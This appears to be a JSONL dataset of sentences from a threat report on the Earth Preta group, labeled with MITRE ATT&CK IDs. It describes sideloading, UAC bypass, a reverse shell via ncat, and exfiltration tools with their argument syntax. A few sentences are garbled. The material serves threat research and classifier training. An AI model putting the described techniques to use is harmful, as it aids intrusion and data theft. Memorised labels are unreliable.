{"sentence": "If it is installed, it will start to infect more removable disks and copy files to a folder named autorun.inf.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "If it is not installed, it installs itself to %programdata% and then sets the registry run key for persistence.", "labels": ["T1112"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Finally, the ACNSHELL malware rzlog4cpp.dll is sideloaded.", "labels": ["T1574.002"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "It will then create a reverse shell via ncat.exe to the server closed[.]theworkpc[.]com.", "labels": ["T1059.003"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Command and Control (C&C)C&C stage Earth Preta employed several tools and commands for the C&C stage.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "For example, the group used certutil.exe to download the legitimate WinRAR binary as rar1.exe from the server 103[.]159[.]132[.]91. Figure 19.", "labels": ["T1105"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "The certutil.exe program downloads the WinRAR binary We also observed that the threat actors used PowerShell to download multiple malware and archives from the server 103[.]159[.]132[.]181 for future use. Figure 20.", "labels": ["T1105"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "PowerShell downloading malware In certain instances, they even leveraged the WinRAR binary installed on the victim hosts to decompress all the malware.", "labels": ["T1105"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Decompressing malware with the installed WinRAR binary Although we found several logs involving multiple pieces of dropped malware, we only managed to retrieve a few of them.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Among all our collected samples, we will introduce the most noteworthy ones.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Backdoor.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Win32.CLEXEC The file name of the backdoor CLEXEC is SensorAware.dll.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "This is a simple backdoor that is capable of executing commands and clearing event logs.", "labels": ["T1059.003"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Command codes of CLEXEC Backdoor.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Win32.COOLCLIENT The backdoor COOLCLIENT was first introduced in a report from Sophos; the sample mentioned in the report was compiled in 2021.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "In our case, the COOLCLIENT sample we analyzed had a more recent compilation time in 2022, and while it provides the same functionalities, it has the added capability to open a decoy document (work.pdf) when the current process name has “.pdf” or “.jpg” file extensions.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "It contains also possesses the ability to reduce debug strings (less OutputDebugStrings calls).", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Meanwhile, loader.ja is used under two processes: One is under googleupdate.exe, which is used for the first sideloading.", "labels": ["T1574.002"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "The second is under winver.exe, which is injected to conduct backdoor behaviors.", "labels": ["T1055"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Furthermore, COOLCLIENT applies obfuscation techniques that we discuss in later sections. Figure 23.", "labels": ["T1027"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Open decoy document Figure 24 shows the whole execution flow of COOLCLIENT. Figure 24.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Execution flow of COOLCLIENT The arguments of COOLCLIENT provide the following capabilities: install.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "There are three conditions different ways to decide the method of installation for COOLCLIENT, detailed here: It installs itself by creating an InstallSvc service called InstallSvc which will trigger “googleupdate.exe work”..", "labels": ["T1543.003", "T1547.001"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "It sets up a run key for via the command C:\\ProgramData\\GoogleUpdate\\googleupdate.exe work for persistence. work.", "labels": ["T1547.001"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "The malware will continue to read and decrypt goopdate.ja and inject it into winver.exe for the next-stage payload (COOLCLIENT), which contains malicious behaviors.", "labels": ["T1055", "T1140"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "passuac.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "The malware will check if the process avp.exe exists.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "If avp.exe doesn’t exist, UAC bypass will be executed via the CMSTPLUA COM interface.", "labels": ["T1548.002"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "If avp.exe exists, UAC bypass will be executed via the AppInfo RPC service.", "labels": ["T1548.002"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "UAC Bypass via the CMSTPLUA COM interface Figure 26.", "labels": ["T1548.002"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "UAC Bypass via the AppInfo RPC service Based on the class name used in COOLCLIENT, we learned thaAccording to our analysis, it reads the encrypted configuration filecan expand the C&C server via time.sig., an encrypted configuration.", "labels": ["T1027", "T1548.002"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "It is also able to communicate through different network protocols such as UDP (User Datagram Protocol) and TCP (Transmission Control Protocol).", "labels": ["T1095"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Based on some internal strings and the APIs used by Earth Preta, the functionalities of this backdoor can be inferred as follows: Send portmap Build connection Read file Delete file Keystrokes and windows monitoring Backdoor.", "labels": ["T1056.001", "T1070.004", "T1106"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Win32.TROCLIENT The backdoor TROCLIENT, which was also first disclosed in Sophos’s report, is similar to COOLCLIENT.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "However, this backdoor has an anti-debugging technique, which will check if the running processes have the strings dbg.exe or olly. Figure 27.", "labels": ["T1057"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "TROCLIENT anti-debugging technique.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Figure 28 shows the whole execution flow of TROCLIENT. Figure 28.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Execution flow of TROCLIENT The arguments of TROCLIENT provide the following capabilities: install.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "There are two waysto determine the method of installation for TROCLIENT, detailed here: It installs itself by creating aservice called InstallSvc which will trigger “C:\\programdata\\netsky\\netsky.exe online”.", "labels": ["T1543.003", "T1547.001", "T1569.002"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "It sets up a run key for the command C:\\programdata\\netsky\\netsky.exe online for persistence.", "labels": ["T1547.001"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "online: It will read the next stage payloads, free.plg and main.plg, and inject them into dllhost.exe. passuac:", "labels": ["T1055"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "If it does not, UAC bypass is executed via the CMSTPLUA COM interface.", "labels": ["T1548.002"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "If avp.exe exists, UAC bypass is executed via token manipulation.", "labels": ["T1548.002"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "The capabilities of three different arguments This backdoor provides the following capabilities: Read file Delete file Monitor keystrokes and windows There are several similarities and differences between COOLCLIENT and TROCLIENT, as Table 3 shows.", "labels": ["T1056.001", "T1070.004"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Argument/Behaviors COOLCLIENT TROCLIENT install Creates a service named InstallSvc ✓ ✓ Executes itself with passuac ✓ ✓ Sets Run Key with “work/online” ✓ ✓ passuac AppInfo RPC ✓ CMSTPLUA COM ✓ ✓ Token manipulation ✓ work/online Send portmap ✓ Connect to C&C ✓ ✓ File operations ✓ ✓ Keylogging ✓ ✓ Table 3.", "labels": ["T1056.001", "T1543.003", "T1547.001"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Comparison of COOLCLIENT and TROCLIENT", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "In addition to the aforementioned malware, we also found several shellcode loaders for PlugX. Since it is a known malware family, we will not expand on its details in this blog entry.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Exfiltration Based on our telemetry, we found that Earth Preta used multiple approaches to exfiltrate sensitive data from the victims.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "For example, in some cases, we observed that WinRAR and curl (or cURL) were leveraged to collect and transfer data to the threat actor’s server.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "After further investigation, we even found some previously unseen pieces of malware that were used to collect data in a custom-made file format.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "In the following sections, we share the details of the unique exfiltration toolsets developed by Earth Preta.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "WinRAR and curl According to some of our monitoring logs, the threat actors abused the installed WinRAR binary and the uploaded curl executable to exfiltrate the files (Figure 30 shows the executed command).", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Note that the executable log.log is a legitimate curl binary.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "All the exfiltrated data was collected and sent back to the threat actor-controlled FTP (File Transfer Protocol) server.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Exfiltrate data using WinRAR and curl In some cases, we accidentally stumbled on the account and password of the FTP server.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Upon checking the FTP server, we learned that the threat actors focused on sensitive and confidential documents, most of which were compressed and protected with a password.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Based on our observations, the documents were organized via the categorization of the victim’s host name and disk drive.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "FTP servers with stolen documents HackTool.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Win32.NUPAKAGE Apart from well-known legitimate tools, the threat actors also crafted highly customized tools used for exfiltration.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "We named this malware “NUPAKAGE,\" a name derived from its unique PDB string, D:\\Project\\NEW_PACKAGE_FILE\\Release\\NEW_PACKAGE_FILE.pdb.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "The NUPAKAGE malware needs a unique passcode to be executed, with the exfiltrated data being wrapped in a custom file format.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "It seems that the threat actors are continuously updating this tool to provide more flexibility and lower the possibility of detection, including adding more command-line arguments and obfuscation mechanisms.", "labels": ["T1027", "T1059.003"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "By default, it only collects documents, including the files with the following extensions: .doc .docx .xls .xlsx .ppt .pptx .pdf", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "It avoids collecting documents with file names starting with “$” or “~” since these types of documents are usually either temporary files generated by the system or PE files pretending to be decoy documents (as we discussed in the arrival vectors section).", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "The usage of this tool is as follows: malware.exe passcode start end chunk -s extension_A extension_B … Argument Name Format Example Value Description passcode String comeon A unique code to execute it start String 2022-01-01", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "The start range of the exfiltrated file’s modification timestamp end String 2022-12-31", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "The end range of the exfiltrated file’s modification timestamp chunk Integer 4096 Splits the generated data in chunks by the specified size (MB) -s String File extensions to be collected; optional Table 5.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Arguments of the NUPAKAGE malware Every NUPAKAGE malware needs a unique passcode as its first argument to continue execution.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "As Figure 32 shows, it first checks if the passcode exists.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "If not, the malware execution procedure will terminate.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "In our collection, we observed different passcodes in each malware. Figure 32.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Passcode check routine in NUPAKAGE SHA256 Passcode 634977a24e8fb2e3e82a0cddfe8d007375d387415eb131cce74ca03e0e93565f notebook c835577f1ddf66a957dd0f92599f45cb67e7f3ea4e073a98df962fc3d9a3fbe0 comeon 2937580b16e70f82e27cfbc3524c2661340b8814794cc15cb0d534f5312db0e0 update c2f5a12ebaeb39d4861e4c3b35253e68e6d5dc78f8598d74bc85db21aeb504e8 comeon Table 4.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Passcodes in NUPAKAGE After execution, NUPAKAGE will drop two files, xxx.zip and xxx.z.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "The file xxx.zip is a logging file with a fake ZIP header prepended at offset 0x0 and taking up the first 0x100 bytes.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Starting from the offset 0x100, the logging strings are encrypted with a single byte in XOR operations as shown Figure 33.", "labels": ["T1027"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "The original logging file (top), with plain text revealed in the decrypted logging file (bottom) Taking one of the execution results as an example, much of the information of the exfiltrated data is saved, including the original file path, the original file size, and the compressed file size.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "We believe that the threat actors use it to further track which files have been processed.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "For security researchers, this logging file also helps reveal how much data is exfiltrated and provides information on the impact scope.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "[+] Program ready!", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "[+] FILE ORIGINAL PATH: C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\1494870C-9912-C184-4CC9-B401-A53F4D8DE290.pdf [+] FILE PATH SIZE: 198 [+] FILE ORIGINAL SIZE: 186837", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "[+] FILE COMPRESSED SIZE: 183734 [+] FILE ORIGINAL PATH:", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\Click on ‘Change’ to select default PDF handler.pdf [+] FILE PATH SIZE: 210 [+] FILE ORIGINAL SIZE:", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "186837 [+] FILE COMPRESSED SIZE: 183734 ...", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "<omitted> ...", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "[*] File or folder access denied!", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "[+] All completed!", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "The file with a .z extension is a blob of exfiltrated data within a self-defined file format.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "The NUPAKAGE malware first generates a key blob randomly, with the key being encrypted in a custom algorithm.", "labels": ["T1573.001"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "After, it stores the encrypted key blob into the first 0x80 bytes of the file with the .z extension.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Starting from the offset 0x80, there exists a long array of all the exfiltrated data.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Much of the information from the exfiltrated files are saved, such as the MD5 hash, the length of the file name, the compressed file size, the original file size, the file name, and the file’s content.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "To separate the file blobs, it puts a unique byte sequence at the end of each, 55 55 55 55 AA AA AA AA FF FF FF FF 99 99 99 99.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Figure 34.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Self-defined format in the file with the .z extension generated by NUPAKAGE Table 5.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Self-defined format description in the file with the .z extension generated by NUPAKAGE It’s also worth mentioning that in the more recent versions of NUPAKAGE, an increasing number of obfuscations are being adopted to thwart static analysis.", "labels": ["T1027"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Junk codes in more recent versions of NUPAKAGE HackTool.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Win32.ZPAKAGE ZPAKAGE is another example of custom malware used for packing files; it also works similarly to NUPAKAGE.", "labels": ["T1027"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "It also needs a passcode to ensure that it is being used as intended.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "In the example shown in Figure 36, the passcode is “start”.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Figure 36.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "An example of a ZPAKAGE password ZPAKAGE also supports command-line arguments, but it possesses less functions than NUPAKAGE.", "labels": ["T1059.003"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "The usage of this tool is shown as follows: malware.exe passcode time Argument Name Format Example Value Description Passcode String start A unique code in order to execute it Time String 20221221 The start date Table 6.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Arguments supported by ZPAKAGE ZPAKAGE also shows similar behaviors to NUPAKAGE.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "For instance, it also avoids files with names starting with “$” or “~”.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "In addition, it generates two files, one with a .z extension and another with a .zip extension.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "The file with a .z extension is the exfiltrated data blob and the file with a .zip extension is the logging file.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "In the generated file with a .z extension, the exfiltrated files will be compressed by the zlib algorithm to minimize the file size.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "It also defines a Boolean field “type” for storage, whether a file is compressed or not.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "If a file is compressed and its file size is less than the original one, the type will be 1.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Otherwise, the type will be set to 0, and the original file content will be chosen instead of the compressed one.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Regardless of whether the file content is compressed or not, it will be encrypted in XOR operations with a specific string, qwerasdf.", "labels": ["T1573.001"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Self-defined format in the file with .z extension generated by ZPAKAGE Table 7. Self-defined format description in the file with the .z extension generated by ZPAKAGE Threat Hunting Since October 2022, the threat actors have changed their TTPs and have started using password-protected archives.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "For example, we found a TONEINS sample (SHA256: 8b98e8669d1ba49b66c07199638ae6012adf7d5d93c1ca3bf31d6329506da58a) on VirusTotal that can’t be linked to any other file in the “Relations” tab.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "However, we observed two files that have been opened in the “Behaviors” tab with the file names ~$Evidence information.docx and ~$List of terrorist personnel at the border.docx.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "As mentioned in the arrival vectors section, the next stage payloads are normally embedded in the fake document files.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Opened files of TONEINS sample Figure 39 shows the search results for the query “List of terrorist personnel at the border” on VirusTotal.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "The first file is the TONEINS DLL sample that we mentioned earlier in this section, while the second file is a benign executable file originally named adobe_licensing_wf_helper.exe, which was apparently uploaded to VirusTotal with the file name List of terrorist personnel at the border.exe.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Search result for the string List of terrorist personnel at the border on VirusTotal Figure 40.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Submission of adobe_licensing_wf_helper.exe The third file is a password-protected archive, which has the exact same file name, List of terrorist personnel at the border[1].rar.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Unfortunately, we didn’t have the password, so we were unable to decompress it.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "But it has an interesting execution parent in the “Relations” tab, which is a document file named Letter Head.docx. Figure 41.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Execution parent of List of terrorist personnel at the border[1].rar Inside the document Letter Head.docx", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": ", there is a Google Drive link and a password.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "The content itself is related to the Government of the Republic of the Union of Myanmar, and is written in Burmese.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Letter Head.docx Upon checking the download link, we discovered that it was the same password-protected archive file that we found on VirusTotal earlier.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Screenshot of the Google Drive link The new arrival vector flow is similar to the one we introduced in the arrival vector section: Victims will receive and interact with a decoy document containing a Google Drive link and a corresponding password instead of an archive download link embedded in the email.", "labels": ["T1204.002", "T1566.001"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "As for why the password-protected archive has the execution parent, upon checking the sandbox execution behaviors of Letter Head.docx on VirusTotal, we discovered that the VirusTotal sandbox will select any link embedded in the document.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "This leads to the opening of an Internet Explorer window with the file download prompt.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Sandbox screenshot of the file Letter Head.docx on VirusTotal When the download prompt is shown, Internet Explorer will silently download this file in the background even before the user selects the “Save” button.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "As a result, the file will be saved to the cache folder named “INetCache,” after which we see a dropped RAR file: C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\R0IAZP7Z\\List%20of%20terrorist%20personnel%20at%20the%20border[1].rar.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Since the RAR file is downloaded automatically by Internet Explorer, Letter Head.docx will be treated as its execution parent.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "This sample can then be used for hunting this campaign.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "The dropped files of Letter Head.docx on VirusTotal To find additional password-protected archives and documents embedded with a Google Drive link, we tried to use the following query:", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "tag:rar tag:encrypted name:INetCache size:500kb+ The query finds any encrypted RAR archive with a large enough file size containing the folder name “INetCache” in its path.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Fortunately, we found another RAR file with the document execution parent “Notic(20221010)(final).docx” that turned out to be a TONESHELL archive.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Figure 46.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Relations of the archive file Figure 47.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Content of the file Notic(20221010)(final).docx It’s interesting to note that the threat actors use date and time strings written in the same format (DD-MM-YYYY) as the extracting passwords in all the cases we’ve collected so far.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Connecting the Dots During our investigation, we observed some data points that connect to the same personnel.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "For example, we found a specific name “TaoZongjie” among the different malware samples we collected.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "In addition, the GitHub repository named “YanNaingOo0072022,” mentioned in Avast’s December 2022 report,hosted multiple pieces of malware, including TONESHELL.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "We also observed that the obfuscation methods have similarities among the different malwares.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "User “TaoZongjie” We found some samples sharing the same special string/name “TaoZongjie,” including the Cobalt Strike malware, a Windows user on a TONESHELL C&C server, and the displayed message in the pop-up dialog box of TONESHELL.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Our investigation started with the TONESHELL C&C server 38[.]54[.]33[.]228 that had the remote desktop service enabled.", "labels": ["T1021.001"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Here, we found that one of the Windows users was called “TaoZongjie.”", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Figure 48.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Windows users in 38[.]54[.]33[.]228 While hunting samples related to this campaign, we came across a tweet about Cobalt Strike posted in April 2021.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "At first glance, Cobalt Strike was used in a manner similar to this campaign, including the use of DLL sideloading, the use of a Google Drive link for delivery, and the creation of a schedule task.", "labels": ["T1053.005", "T1574.002"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "A tweet about Cobalt Strike The infection flow is as follows: The archive file is delivered through a Google Drive link, which contains a legitimate EXE file, a malicious DLL file, and a decoy document written in Burmese.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Once the malicious DLL is sideloaded, it will drop the legitimate EXE file and the malicious DLL file, which are embedded in the resource section of the DLL file.", "labels": ["T1574.002"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "In this sample, the string By:Taozongjie is being used as the event name.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
{"sentence": "Infection flow of Cobalt Strike Figure 51.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"}
